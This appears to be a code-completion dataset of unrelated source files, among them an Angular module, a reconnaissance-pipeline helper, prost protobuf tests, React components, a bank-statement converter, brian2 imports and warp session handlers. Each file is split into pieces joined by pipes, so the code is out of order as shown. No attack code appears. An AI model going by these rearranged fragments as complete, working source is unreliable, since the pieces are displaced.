import { FormsModule, ReactiveFormsModule } from '@angular/forms';
import { PerfilAdmin } from './perfiladmin.component';
import { routing } from './perfiladmin.routing';
| imports: [
CommonModule,
FormsModule,
ReactiveFormsModule,
NgaModule,
routing,
HttpModule,
NgbModalModule,
NgbDropdownModule,
NgbPopoverModule,
Ng2SmartTableModule,
DataTableModule,
],
declarations: [
PerfilAdmin,
ImgAdmin,
]
})
export class PerfilAdminModule {} | @NgModule({ |
helpers.py | import sys
import pickle
import typing
import inspect
import pkgutil
import importlib
import ipaddress
import json
import re
from pathlib import Path
from cmd2.ansi import style
from collections import defaultdict
from ..recon.config import defaults
def meets_requirements(requirements, exception):
""" Determine if tools required to perform task are installed. """
tools = get_tool_state()
for tool in requirements:
if not tools.get(tool).get("installed"):
if exception:
raise RuntimeError(
style(f"[!!] {tool} is not installed, and is required to run this scan", fg="bright_red")
)
else:
return False
return True
def get_tool_state() -> typing.Union[dict, None]:
""" Load current tool state from disk. """
tools = Path(defaults.get("tools-dir")) / ".tool-dict.pkl"
if tools.exists():
return pickle.loads(tools.read_bytes())
def get_scans():
""" Iterates over the recon package and its modules to find all of the classes that end in [Ss]can.
**A contract exists here that says any scans need to end with the word scan in order to be found by this function.**
Example:
``defaultdict(<class 'list'>, {'AmassScan': ['pipeline.recon.amass'], 'MasscanScan': ['pipeline.recon.masscan'], ... })``
Returns:
dict containing mapping of ``classname -> [modulename, ...]`` for all potential recon-pipeline commands
"""
scans = defaultdict(list)
file = Path(__file__).expanduser().resolve()
web = file.parent / "web"
recon = file.parents[1] / "recon"
lib_paths = [str(web), str(recon)]
# recursively walk packages; import each module in each package
# walk_packages yields ModuleInfo objects for all modules recursively on path
# prefix is a string to output on the front of every module name on output.
for loader, module_name, is_pkg in pkgutil.walk_packages(path=lib_paths, prefix=f"{__package__}."):
try:
importlib.import_module(module_name)
except ModuleNotFoundError:
# skipping things like recon.aquatone, not entirely sure why they're showing up...
pass
# walk all modules, grabbing classes that we've written and add them to the classlist defaultdict
# getmembers returns all members of an object in a list of tuples (name, value)
for name, obj in inspect.getmembers(sys.modules[__package__]):
if inspect.ismodule(obj) and not name.startswith("_"):
# we're only interested in modules that don't begin with _ i.e. magic methods __len__ etc...
for sub_name, sub_obj in inspect.getmembers(obj):
# now we only care about classes that end in [Ss]can
if inspect.isclass(sub_obj) and sub_name.lower().endswith("scan"):
# final check, this ensures that the tools necessary to AT LEAST run this scan are present
# does not consider upstream dependencies
try:
requirements = sub_obj.requirements
exception = False # let meets_req know we want boolean result
if not meets_requirements(requirements, exception):
continue
except AttributeError:
# some scan's haven't implemented meets_requirements yet, silently allow them through
pass
scans[sub_name].append(f"{__package__}.{name}")
return scans
def is_ip_address(ipaddr):
""" Simple helper to determine if given string is an ip address or subnet """
try:
ipaddress.ip_interface(ipaddr)
return True
except ValueError:
return False
def get_ip_address_version(ipaddr):
""" Simple helper to determine whether a given ip address is ipv4 or ipv6 """
if is_ip_address(ipaddr):
if isinstance(ipaddress.ip_address(ipaddr), ipaddress.IPv4Address): # ipv4 addr
return "4"
elif isinstance(ipaddress.ip_address(ipaddr), ipaddress.IPv6Address): # ipv6
return "6"
def is_inscope(hostname, scope_file):
""" Check given hostname against scope file and return True if it is """
# Use an default-allow rule,
# so if there is no match in "include" or "exclude", it is within scope
in_scope = True
if scope_file == "":
return in_scope
# Load Scope file
with open(scope_file, "r") as f:
scope = json.load(f)
# parse json data
for block in scope['target']['scope']['exclude']:
# Does URL match an excluded hostname?
if re.search(block['host'], hostname):
# If so, check for a more specific allow entry | for allow in scope['target']['scope']['include']:
# remove special chars in allow entry to make a domain name
allow_n = allow['host'].replace('\\', '').replace('^', '').replace('$', '')
# test the block entry against the normalized domain name
if re.search(block['host'], allow_n):
# if the allowed domain name fits in the block domain entry
# , then it must be more specific.
# Test URL against the allow entry
if re.search(allow['host'], hostname):
# If it matches, mark as true
in_scope = True
else:
in_scope = False
else:
in_scope = False
return in_scope | |
lib.rs | #![allow(
clippy::cognitive_complexity,
clippy::module_inception,
clippy::unreadable_literal
)]
#![cfg_attr(not(feature = "std"), no_std)]
#[macro_use]
extern crate cfg_if;
extern crate alloc;
cfg_if! {
if #[cfg(feature = "edition-2015")] {
extern crate anyhow;
extern crate bytes;
extern crate core;
extern crate prost;
extern crate prost_types;
extern crate protobuf;
#[cfg(test)]
extern crate prost_build;
#[cfg(test)]
extern crate tempfile;
}
}
pub mod extern_paths;
pub mod packages;
pub mod unittest;
#[cfg(test)]
mod bootstrap;
#[cfg(test)]
mod debug;
#[cfg(test)]
mod deprecated_field;
#[cfg(test)]
mod message_encoding;
#[cfg(test)]
mod no_unused_results;
#[cfg(test)]
mod well_known_types;
pub mod foo {
pub mod bar_baz {
include!(concat!(env!("OUT_DIR"), "/foo.bar_baz.rs"));
}
}
pub mod nesting {
include!(concat!(env!("OUT_DIR"), "/nesting.rs"));
}
pub mod recursive_oneof {
include!(concat!(env!("OUT_DIR"), "/recursive_oneof.rs"));
}
/// This tests the custom attributes support by abusing docs.
///
/// Docs really are full-blown attributes. So we use them to ensure we can place them on everything
/// we need. If they aren't put onto something or allowed not to be there (by the generator),
/// compilation fails.
#[deny(missing_docs)]
pub mod custom_attributes {
include!(concat!(env!("OUT_DIR"), "/foo.custom.attrs.rs"));
}
/// Also for testing custom attributes, but on oneofs.
///
/// Unfortunately, an OneOf field generates a companion module in the .rs file. There's no
/// reasonable way to place a doc comment on that, so we do the test with `derive(Ord)` and have it
/// in a separate file.
pub mod oneof_attributes {
include!(concat!(env!("OUT_DIR"), "/foo.custom.one_of_attrs.rs"));
}
/// Issue https://github.com/danburkert/prost/issues/118
///
/// When a message contains an enum field with a default value, we
/// must ensure that the appropriate name conventions are used.
pub mod default_enum_value {
include!(concat!(env!("OUT_DIR"), "/default_enum_value.rs"));
}
pub mod groups {
include!(concat!(env!("OUT_DIR"), "/groups.rs"));
}
pub mod proto3 {
pub mod presence {
include!(concat!(env!("OUT_DIR"), "/proto3.presence.rs"));
}
}
use alloc::format;
use alloc::vec::Vec;
use anyhow::anyhow;
use bytes::Buf;
use prost::Message;
pub enum RoundtripResult {
/// The roundtrip succeeded.
Ok(Vec<u8>),
/// The data could not be decoded. This could indicate a bug in prost,
/// or it could indicate that the input was bogus.
DecodeError(prost::DecodeError),
/// Re-encoding or validating the data failed. This indicates a bug in `prost`.
Error(anyhow::Error),
}
impl RoundtripResult {
/// Unwrap the roundtrip result.
pub fn unwrap(self) -> Vec<u8> {
match self {
RoundtripResult::Ok(buf) => buf,
RoundtripResult::DecodeError(error) => {
panic!("failed to decode the roundtrip data: {}", error)
}
RoundtripResult::Error(error) => panic!("failed roundtrip: {}", error),
}
}
/// Unwrap the roundtrip result. Panics if the result was a validation or re-encoding error.
pub fn unwrap_error(self) -> Result<Vec<u8>, prost::DecodeError> {
match self {
RoundtripResult::Ok(buf) => Ok(buf),
RoundtripResult::DecodeError(error) => Err(error),
RoundtripResult::Error(error) => panic!("failed roundtrip: {}", error),
}
}
}
/// Tests round-tripping a message type. The message should be compiled with `BTreeMap` fields,
/// otherwise the comparison may fail due to inconsistent `HashMap` entry encoding ordering.
pub fn roundtrip<M>(data: &[u8]) -> RoundtripResult
where
M: Message + Default,
{
// Try to decode a message from the data. If decoding fails, continue.
let all_types = match M::decode(data) {
Ok(all_types) => all_types,
Err(error) => return RoundtripResult::DecodeError(error),
};
let encoded_len = all_types.encoded_len();
// TODO: Reenable this once sign-extension in negative int32s is figured out.
// assert!(encoded_len <= data.len(), "encoded_len: {}, len: {}, all_types: {:?}",
// encoded_len, data.len(), all_types);
let mut buf1 = Vec::new();
if let Err(error) = all_types.encode(&mut buf1) {
return RoundtripResult::Error(error.into());
}
if encoded_len != buf1.len() {
return RoundtripResult::Error(anyhow!(
"expected encoded len ({}) did not match actual encoded len ({})",
encoded_len,
buf1.len()
));
}
let roundtrip = match M::decode(&*buf1) {
Ok(roundtrip) => roundtrip,
Err(error) => return RoundtripResult::Error(anyhow::Error::new(error)),
};
let mut buf2 = Vec::new();
if let Err(error) = roundtrip.encode(&mut buf2) {
return RoundtripResult::Error(error.into());
}
/*
// Useful for debugging:
eprintln!(" data: {:?}", data.iter().map(|x| format!("0x{:x}", x)).collect::<Vec<_>>());
eprintln!(" buf1: {:?}", buf1.iter().map(|x| format!("0x{:x}", x)).collect::<Vec<_>>());
eprintln!("a: {:?}\nb: {:?}", all_types, roundtrip);
*/
if buf1 != buf2 {
return RoundtripResult::Error(anyhow!("roundtripped encoded buffers do not match"));
}
RoundtripResult::Ok(buf1)
}
/// Generic rountrip serialization check for messages.
pub fn check_message<M>(msg: &M)
where
M: Message + Default + PartialEq,
{
let expected_len = msg.encoded_len();
let mut buf = Vec::with_capacity(18);
msg.encode(&mut buf).unwrap();
assert_eq!(expected_len, buf.len());
let mut buf = &*buf;
let roundtrip = M::decode(&mut buf).unwrap();
assert!(
!buf.has_remaining(),
"expected buffer to be empty: {}",
buf.remaining()
);
assert_eq!(msg, &roundtrip);
}
/// Serialize from A should equal Serialize from B
pub fn check_serialize_equivalent<M, N>(msg_a: &M, msg_b: &N)
where
M: Message + Default + PartialEq,
N: Message + Default + PartialEq,
{
let mut buf_a = Vec::new();
msg_a.encode(&mut buf_a).unwrap();
let mut buf_b = Vec::new();
msg_b.encode(&mut buf_b).unwrap();
assert_eq!(buf_a, buf_b);
}
#[cfg(test)]
mod tests {
use alloc::borrow::ToOwned;
use alloc::boxed::Box;
use alloc::collections::{BTreeMap, BTreeSet};
use alloc::string::ToString;
use alloc::vec;
use super::*;
use protobuf::test_messages::proto3::TestAllTypesProto3;
#[test]
fn test_all_types_proto3() {
// Some selected encoded messages, mostly collected from failed fuzz runs.
let msgs: &[&[u8]] = &[
&[0x28, 0x28, 0x28, 0xFF, 0xFF, 0xFF, 0xFF, 0x68],
&[0x92, 0x01, 0x00, 0x92, 0xF4, 0x01, 0x02, 0x00, 0x00],
&[0x5d, 0xff, 0xff, 0xff, 0xff, 0x28, 0xff, 0xff, 0x21],
&[0x98, 0x04, 0x02, 0x08, 0x0B, 0x98, 0x04, 0x02, 0x08, 0x02],
// optional_int32: -1
&[0x08, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x08],
// repeated_bool: [true, true]
&[0xDA, 0x02, 0x02, 0x2A, 0x03],
// oneof_double: nan
&[0xb1, 0x07, 0xf6, 0x3d, 0xf5, 0xff, 0x27, 0x3d, 0xf5, 0xff],
// optional_float: -0.0
&[0xdd, 0x00, 0x00, 0x00, 0x00, 0x80],
// optional_value: nan
&[
0xE2, 0x13, 0x1B, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x08, 0xFF, 0x0E,
],
];
for msg in msgs {
roundtrip::<TestAllTypesProto3>(msg).unwrap();
}
}
#[test]
fn test_ident_conversions() {
let msg = foo::bar_baz::FooBarBaz {
foo_bar_baz: 42,
fuzz_busters: vec![foo::bar_baz::foo_bar_baz::FuzzBuster {
t: BTreeMap::<i32, foo::bar_baz::FooBarBaz>::new(),
nested_self: None,
}],
p_i_e: 0,
r#as: 4,
r#break: 5,
r#const: 6,
r#continue: 7,
r#else: 8,
r#enum: 9,
r#false: 10,
r#fn: 11,
r#for: 12,
r#if: 13,
r#impl: 14,
r#in: 15,
r#let: 16,
r#loop: 17,
r#match: 18,
r#mod: 19,
r#move: 20,
r#mut: 21,
r#pub: 22,
r#ref: 23,
r#return: 24,
r#static: 25,
r#struct: 26,
r#trait: 27,
r#true: 28,
r#type: 29,
r#unsafe: 30,
r#use: 31,
r#where: 32,
r#while: 33,
r#dyn: 34,
r#abstract: 35,
r#become: 36,
r#box: 37,
r#do: 38,
r#final: 39,
r#macro: 40,
r#override: 41,
r#priv: 42,
r#typeof: 43,
r#unsized: 44,
r#virtual: 45,
r#yield: 46,
r#async: 47,
r#await: 48,
r#try: 49,
self_: 50,
super_: 51,
extern_: 52,
crate_: 53,
};
let _ = foo::bar_baz::foo_bar_baz::Self_ {};
// Test enum ident conversion.
let _ = foo::bar_baz::foo_bar_baz::StrawberryRhubarbPie::Foo;
let _ = foo::bar_baz::foo_bar_baz::StrawberryRhubarbPie::Bar;
let _ = foo::bar_baz::foo_bar_baz::StrawberryRhubarbPie::FooBar;
let _ = foo::bar_baz::foo_bar_baz::StrawberryRhubarbPie::FuzzBuster;
let _ = foo::bar_baz::foo_bar_baz::StrawberryRhubarbPie::NormalRustEnumCase;
let mut buf = Vec::new();
msg.encode(&mut buf).expect("encode");
roundtrip::<foo::bar_baz::FooBarBaz>(&buf).unwrap();
}
#[test]
fn test_custom_type_attributes() {
// We abuse the ident conversion protobuf for the custom attribute additions. We placed
// `Ord` on the FooBarBaz (which is not implemented by ordinary messages).
let mut set1 = BTreeSet::new();
let msg1 = foo::bar_baz::FooBarBaz::default();
set1.insert(msg1);
// Similar, but for oneof fields
let mut set2 = BTreeSet::new();
let msg2 = oneof_attributes::Msg::default();
set2.insert(msg2.field);
}
#[test]
fn test_nesting() {
use crate::nesting::{A, B};
let _ = A {
a: Some(Box::new(A::default())),
repeated_a: Vec::<A>::new(),
map_a: BTreeMap::<i32, A>::new(),
b: Some(Box::new(B::default())),
repeated_b: Vec::<B>::new(),
map_b: BTreeMap::<i32, B>::new(),
};
}
#[test]
fn test_deep_nesting() {
fn build_and_roundtrip(depth: usize) -> Result<(), prost::DecodeError> {
use crate::nesting::A;
let mut a = Box::new(A::default());
for _ in 0..depth {
let mut next = Box::new(A::default());
next.a = Some(a);
a = next;
}
let mut buf = Vec::new();
a.encode(&mut buf).unwrap();
A::decode(&*buf).map(|_| ())
}
assert!(build_and_roundtrip(100).is_ok());
assert!(build_and_roundtrip(101).is_err());
}
#[test]
fn test_deep_nesting_oneof() {
fn build_and_roundtrip(depth: usize) -> Result<(), prost::DecodeError> {
use crate::recursive_oneof::{a, A, C};
let mut a = Box::new(A {
kind: Some(a::Kind::C(C {})),
});
for _ in 0..depth {
a = Box::new(A {
kind: Some(a::Kind::A(a)),
});
}
let mut buf = Vec::new();
a.encode(&mut buf).unwrap();
A::decode(&*buf).map(|_| ())
}
assert!(build_and_roundtrip(99).is_ok());
assert!(build_and_roundtrip(100).is_err());
}
#[test]
fn test_deep_nesting_group() {
fn build_and_roundtrip(depth: usize) -> Result<(), prost::DecodeError> {
use crate::groups::{nested_group2::OptionalGroup, NestedGroup2};
let mut a = NestedGroup2::default();
for _ in 0..depth {
a = NestedGroup2 {
optionalgroup: Some(Box::new(OptionalGroup {
nested_group: Some(a),
})),
};
}
let mut buf = Vec::new();
a.encode(&mut buf).unwrap();
NestedGroup2::decode(&*buf).map(|_| ())
}
assert!(build_and_roundtrip(50).is_ok());
assert!(build_and_roundtrip(51).is_err());
}
#[test]
fn test_deep_nesting_repeated() {
fn | (depth: usize) -> Result<(), prost::DecodeError> {
use crate::nesting::C;
let mut c = C::default();
for _ in 0..depth {
let mut next = C::default();
next.r.push(c);
c = next;
}
let mut buf = Vec::new();
c.encode(&mut buf).unwrap();
C::decode(&*buf).map(|_| ())
}
assert!(build_and_roundtrip(100).is_ok());
assert!(build_and_roundtrip(101).is_err());
}
#[test]
fn test_deep_nesting_map() {
fn build_and_roundtrip(depth: usize) -> Result<(), prost::DecodeError> {
use crate::nesting::D;
let mut d = D::default();
for _ in 0..depth {
let mut next = D::default();
next.m.insert("foo".to_owned(), d);
d = next;
}
let mut buf = Vec::new();
d.encode(&mut buf).unwrap();
D::decode(&*buf).map(|_| ())
}
assert!(build_and_roundtrip(50).is_ok());
assert!(build_and_roundtrip(51).is_err());
}
#[test]
fn test_recursive_oneof() {
use crate::recursive_oneof::{a, A, B, C};
let _ = A {
kind: Some(a::Kind::B(Box::new(B {
a: Some(Box::new(A {
kind: Some(a::Kind::C(C {})),
})),
}))),
};
}
#[test]
fn test_267_regression() {
// Checks that skip_field will error appropriately when given a big stack of StartGroup
// tags. When the no-recursion-limit feature is enabled this results in stack overflow.
//
// https://github.com/danburkert/prost/issues/267
let buf = vec![b'C'; 1 << 20];
<() as Message>::decode(&buf[..]).err().unwrap();
}
#[test]
fn test_default_enum() {
let msg = default_enum_value::Test::default();
assert_eq!(msg.privacy_level_1(), default_enum_value::PrivacyLevel::One);
assert_eq!(
msg.privacy_level_3(),
default_enum_value::PrivacyLevel::PrivacyLevelThree
);
assert_eq!(
msg.privacy_level_4(),
default_enum_value::PrivacyLevel::PrivacyLevelprivacyLevelFour
);
}
#[test]
fn test_group() {
// optional group
let msg1_bytes = &[0x0B, 0x10, 0x20, 0x0C];
let msg1 = groups::Test1 {
groupa: Some(groups::test1::GroupA { i2: Some(32) }),
};
let mut bytes = Vec::new();
msg1.encode(&mut bytes).unwrap();
assert_eq!(&bytes, msg1_bytes);
// skip group while decoding
let data: &[u8] = &[
0x0B, // start group (tag=1)
0x30, 0x01, // unused int32 (tag=6)
0x2B, 0x30, 0xFF, 0x01, 0x2C, // unused group (tag=5)
0x10, 0x20, // int32 (tag=2)
0x0C, // end group (tag=1)
];
assert_eq!(groups::Test1::decode(data), Ok(msg1));
// repeated group
let msg2_bytes: &[u8] = &[
0x20, 0x40, 0x2B, 0x30, 0xFF, 0x01, 0x2C, 0x2B, 0x30, 0x01, 0x2C, 0x38, 0x64,
];
let msg2 = groups::Test2 {
i14: Some(64),
groupb: vec![
groups::test2::GroupB { i16: Some(255) },
groups::test2::GroupB { i16: Some(1) },
],
i17: Some(100),
};
let mut bytes = Vec::new();
msg2.encode(&mut bytes).unwrap();
assert_eq!(&*bytes, msg2_bytes);
assert_eq!(groups::Test2::decode(msg2_bytes), Ok(msg2));
}
#[test]
fn test_group_oneof() {
let msg = groups::OneofGroup {
i1: Some(42),
field: Some(groups::oneof_group::Field::S2("foo".to_string())),
};
check_message(&msg);
let msg = groups::OneofGroup {
i1: Some(42),
field: Some(groups::oneof_group::Field::G(groups::oneof_group::G {
i2: None,
s1: "foo".to_string(),
t1: None,
})),
};
check_message(&msg);
let msg = groups::OneofGroup {
i1: Some(42),
field: Some(groups::oneof_group::Field::G(groups::oneof_group::G {
i2: Some(99),
s1: "foo".to_string(),
t1: Some(groups::Test1 {
groupa: Some(groups::test1::GroupA { i2: None }),
}),
})),
};
check_message(&msg);
check_message(&groups::OneofGroup::default());
}
#[test]
fn test_proto3_presence() {
let msg = proto3::presence::A { b: Some(42) };
check_message(&msg);
}
}
| build_and_roundtrip |
class-component.output.js | import React from 'react'
export default class | extends React.Component {
render() {
return <div>Hello World</div>
}
} | Home |
participant.tsx | import * as React from 'react';
import { Avatar, Flex, Text, Animation, MenuButton, FlexItem } from '@fluentui/react-northstar';
import { MoreIcon, MicOffIcon, ParticipantRemoveIcon, MicIcon } from '@fluentui/react-icons-northstar';
const Participant: React.FC<{
image?: string;
name: string;
status: object;
position: string;
isTalking?: boolean;
isMuted?: boolean;
}> = ({ image, name, status, position, isTalking, isMuted }) => {
const [muted, setMuted] = React.useState(isMuted);
const [talking, setTalking] = React.useState(isTalking);
const [openMenu, setOpenMenu] = React.useState(false);
return (
<Flex
fill
gap="gap.small"
space="between"
onContextMenu={e => {
setOpenMenu(!openMenu);
e.preventDefault();
}}
variables={{ isRelative: true }}
>
{talking ? (
<Animation name="talking">
<Avatar
variables={{ isTalking: true }}
image={`data:image/jpeg;base64,${image}`}
name={name}
status={status}
/>
</Animation>
) : (
<Avatar image={`data:image/jpeg;base64,${image}`} name={name} status={status} />
)}
<Flex column>
<Text weight={(talking && 'bold') || 'regular'} content={name} variables={{ isNameText: true }} />
<Text variables={{ isRoleText: true }} content={position} />
</Flex>
{muted ? (
<>
<FlexItem push>
<MicOffIcon />
</FlexItem>
<MenuButton
open={openMenu}
onClick={() => setOpenMenu(!openMenu)}
position="above"
align="end"
trigger={<MoreIcon />}
menu={[
{
icon: <MicIcon />,
content: 'Unmute',
onClick: () => {
setMuted(false);
setTalking(isTalking);
},
},
{
icon: <ParticipantRemoveIcon />,
content: 'Remove',
},
]}
/>
</>
) : (
<FlexItem push>
<MenuButton
open={openMenu}
onClick={() => setOpenMenu(!openMenu)}
position="above"
align="end"
trigger={<MoreIcon />}
menu={[
{
icon: <MicOffIcon />,
content: 'Mute',
onClick: () => {
setTalking(false);
setMuted(true);
},
},
{ icon: <ParticipantRemoveIcon />, content: 'Remove' },
]} | )}
</Flex>
);
};
export default Participant; | />
</FlexItem> |
bout.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Bout (read bank-out) extracts transactions from pdf bank statements.
_ _
(_) (_)
(_) _ _ _ _ _ _ _ _ _ (_) _ _
(_)(_)(_)(_)_ _ (_)(_)(_) _ (_) (_)(_)(_)(_)(_)
(_) (_)(_) (_)(_) (_) (_)
(_) (_)(_) (_)(_) (_) (_) _
(_) _ _ _(_)(_) _ _ _ (_)(_)_ _ _(_)_ (_)_ _(_)
(_)(_)(_)(_) (_)(_)(_) (_)(_)(_) (_) (_)(_)
"""
import io
import logging
import click
import csv
from collections import namedtuple
from datetime import datetime
logger = logging.getLogger("bout")
profiles = {}
Transaction = namedtuple("Transaction",
["id", "date", "payee", "memo", "amount"])
InvalidTransaction = namedtuple("InvalidTransaction", [])
def get_icici_csv(data_row):
"""Convert a transaction row to tuple.
Details of fields
0: 'D', # Transaction date
2: 'M', # Transaction details
3: 'T', # Deposit
4: 'T-', # Withdrawal
"""
logger.debug("get_icicicsv: Data row = {}".format(data_row))
date = data_row[0].replace('-', '/')
if _valid_date(date):
amt = "-{}".format(data_row[4])
if data_row[3] != "0":
amt = data_row[3]
return Transaction(id=0,
date=date,
payee="", # Empty for ICICI bank account
memo=data_row[2],
amount=amt)
return InvalidTransaction()
def get_icicicc_csv(data_row):
"""Convert a transaction row to tuple.
Details of fields
0: 'D', # Transaction date
2: 'M', # Transaction details
5: 'T', # Amount
"""
logger.debug("get_icicicsv: Data row = {}".format(data_row))
date = data_row[0]
if _valid_date(date, date_format="%d/%m/%Y"):
amt = "-{}".format(data_row[5])
if data_row[6] == "CR":
amt = data_row[5]
return Transaction(id=0,
date=date,
payee="", # Empty for ICICI bank account
memo=data_row[2],
amount=amt)
return InvalidTransaction()
def qif_header():
"""Print qif header."""
click.echo("!Account\nNMyAccount\nTMyBank\n^\n!Type:Bank")
def to_qif(transaction):
"""Transform a cleaned up row to qif format.
Returns:
string of a particular transaction in qif format
See wikipedia for more details of QIF format.
https://en.wikipedia.org/wiki/Quicken_Interchange_Format#Detail_items
"""
logger.debug("to_qif: Input = {}".format(transaction))
return "D{0}\nM{1}\nT{2}\n^\n\n"\
.format(transaction.date, transaction.memo, transaction.amount)
def _valid_date(date_value, date_format="%d/%m/%Y"):
"""Validate a transaction date."""
try:
transaction_date = datetime.strptime(date_value, date_format)
return transaction_date is not None
except ValueError:
return False
def _filter_csv_header(doc, header):
head_skip = False
mem = io.StringIO()
with open(doc, encoding='utf-8', mode='r') as f:
for line in f:
if line.startswith(header):
head_skip = True
continue
if head_skip and (not line or line.isspace()):
break
if head_skip and ',' in line:
mem.write(line)
mem.seek(0)
return csv.reader(mem)
@click.command()
@click.argument("doc", type=click.Path(exists=True))
@click.option("--profile", prompt="Choose a profile", default="icici",
show_default=True,
type=click.Choice(["icici", "icicicc"]),
help="Document type profile.")
@click.option("--debug", is_flag=True, show_default=True,
help="Show diagnostic messages.")
def start(doc, profile, debug):
"""Bout (read bank-out) extracts transactions from csv bank statements."""
if debug:
logging.basicConfig(level=logging.DEBUG)
logger.info("Verbose messages are enabled.")
profiles.update({"icici": get_icici_csv,
"icicicc": get_icicicc_csv})
rows = []
if profile == "icici":
header = "DATE,MODE,PARTICULARS,DEPOSITS,WITHDRAWALS,BALANCE"
rows = _filter_csv_header(doc, header)
elif profile == "icicicc":
header = "Date,Sr.No.,Transaction Details,Reward Point Header,Intl.Amount,Amount(in Rs),BillingAmountSign"
rows = _filter_csv_header(doc, header)
# row -> clean_row | print_header = False
for r in rows:
transaction = create_transaction(r)
if type(transaction) is not InvalidTransaction:
if not print_header:
qif_header()
print_header = True
click.echo(to_qif(transaction))
if __name__ == '__main__':
start() | # clean_row, profile -> transaction
# transaction -> qif
create_transaction = profiles[profile] |
only.py | '''
A dummy package to allow wildcard import from brian2 without also importing
the pylab (numpy + matplotlib) namespace.
Usage: ``from brian2.only import *`` |
# The units and utils package does not depend on any other Brian package and
# should be imported first
from brian2.units import *
from brian2.utils import *
from brian2.core.tracking import *
from brian2.core.names import *
from brian2.core.spikesource import *
# The following packages only depend on something in the above set
from brian2.core.variables import linked_var
from brian2.core.functions import *
from brian2.core.preferences import *
from brian2.core.clocks import *
from brian2.equations import *
# The base class only depends on the above sets
from brian2.core.base import *
# The rest...
from brian2.core.network import *
from brian2.core.magic import *
from brian2.core.operations import *
from brian2.stateupdaters import *
from brian2.codegen import *
from brian2.core.namespace import *
from brian2.groups import *
from brian2.groups.subgroup import *
from brian2.synapses import *
from brian2.monitors import *
from brian2.importexport import *
from brian2.input import *
from brian2.spatialneuron import *
from brian2.devices import set_device, get_device, device, all_devices, seed
import brian2.devices.cpp_standalone as _cpp_standalone
# preferences
import brian2.core.core_preferences as _core_preferences
prefs.load_preferences()
prefs.do_validation()
prefs._backup()
set_device(all_devices['runtime'])
def restore_initial_state():
'''
Restores internal Brian variables to the state they are in when Brian is imported
Resets ``defaultclock.dt = 0.1*ms``,
`BrianGlobalPreferences._restore` preferences, and set
`BrianObject._scope_current_key` back to 0.
'''
import gc
prefs._restore()
BrianObject._scope_current_key = 0
defaultclock.dt = 0.1*ms
gc.collect()
# make the test suite available via brian2.test()
from brian2.tests import run as test
from brian2.units import __all__ as _all_units
__all__ = [
'get_logger', 'BrianLogger', 'std_silent',
'Trackable',
'Nameable',
'SpikeSource',
'linked_var',
'DEFAULT_FUNCTIONS', 'Function', 'implementation', 'declare_types',
'PreferenceError', 'BrianPreference', 'prefs', 'brian_prefs',
'Clock', 'defaultclock',
'Equations', 'Expression', 'Statements',
'BrianObject',
'BrianObjectException',
'Network', 'profiling_summary', 'scheduling_summary',
'MagicNetwork', 'magic_network',
'MagicError',
'run', 'stop', 'collect', 'store', 'restore',
'start_scope',
'NetworkOperation', 'network_operation',
'StateUpdateMethod',
'linear', 'exact', 'independent',
'milstein', 'heun', 'euler', 'rk2', 'rk4', 'ExplicitStateUpdater',
'exponential_euler',
'gsl_rk2', 'gsl_rk4', 'gsl_rkf45', 'gsl_rkck', 'gsl_rk8pd',
'NumpyCodeObject', 'CythonCodeObject',
'get_local_namespace', 'DEFAULT_FUNCTIONS', 'DEFAULT_UNITS',
'DEFAULT_CONSTANTS',
'CodeRunner', 'Group', 'VariableOwner', 'NeuronGroup',
'Subgroup',
'Synapses',
'SpikeMonitor', 'EventMonitor', 'StateMonitor',
'PopulationRateMonitor',
'ImportExport',
'BinomialFunction', 'PoissonGroup', 'PoissonInput',
'SpikeGeneratorGroup', 'TimedArray',
'Morphology', 'Soma', 'Cylinder', 'Section', 'SpatialNeuron',
'set_device', 'get_device', 'device', 'all_devices', 'seed',
'restore_initial_state',
'test'
]
__all__.extend(_all_units) |
'''
# To minimize the problems with imports, import the packages in a sensible
# order |
session.rs | use uuid::Uuid;
use warp::Filter;
use crate::{
contexts::{Context, Session, SimpleContext},
handlers::authenticate,
projects::{ProjectId, STRectangle},
};
/// Creates session for anonymous user.
///
/// # Example
///
/// ```text
/// POST /anonymous
/// ```
/// Response:
/// ```text
/// {
/// "id": "2fee8652-3192-4d3e-8adc-14257064224a",
/// "user": {
/// "id": "744b83ff-2c5b-401a-b4bf-2ba7213ad5d5",
/// "email": null,
/// "realName": null
/// },
/// "created": "2021-04-18T16:54:55.728758Z",
/// "validUntil": "2021-04-18T17:54:55.730196200Z",
/// "project": null,
/// "view": null
/// }
/// ```
pub(crate) fn anonymous_handler<C: SimpleContext>(
ctx: C,
) -> impl Filter<Extract = impl warp::Reply, Error = warp::Rejection> + Clone {
warp::path!("anonymous")
.and(warp::post())
.and(warp::any().map(move || ctx.clone()))
.and_then(anonymous)
}
// TODO: move into handler once async closures are available?
async fn anonymous<C: SimpleContext>(ctx: C) -> Result<impl warp::Reply, warp::Rejection> {
Ok(warp::reply::json(&*ctx.default_session_ref().await))
}
/// Retrieves details about the [Session].
///
/// # Example
///
/// ```text
/// GET /session
/// Authorization: Bearer fc9b5dc2-a1eb-400f-aeed-a7845d9935c9
/// ```
/// Response:
/// ```text
/// {
/// "id": "29fb1e93-7b6b-466f-952a-fdde87736c62",
/// "user": {
/// "id": "f33429a5-d207-4e59-827d-fc48f9630c9c",
/// "email": "[email protected]",
/// "realName": "Foo Bar"
/// },
/// "created": "2021-04-18T17:20:44.190720500Z",
/// "validUntil": "2021-04-18T18:20:44.190726700Z",
/// "project": null,
/// "view": null
/// }
/// ```
///
/// # Errors
///
/// This call fails if the session is invalid.
pub(crate) fn session_handler<C: Context>(
ctx: C,
) -> impl Filter<Extract = impl warp::Reply, Error = warp::Rejection> + Clone {
warp::path("session")
.and(warp::get())
.and(authenticate(ctx))
.map(session)
}
// TODO: move into handler once async closures are available?
#[allow(clippy::needless_pass_by_value)]
fn session<S: Session>(session: S) -> impl warp::Reply {
warp::reply::json(&session)
}
/// Sets the active project of the session.
///
/// # Example
///
/// ```text
/// POST /session/project/c8d88d83-d409-46f7-bab2-815bba87ccd8
/// Authorization: Bearer fc9b5dc2-a1eb-400f-aeed-a7845d9935c9
/// ```
///
/// # Errors
///
/// This call fails if the session is invalid.
pub(crate) fn session_project_handler<C: SimpleContext>(
ctx: C,
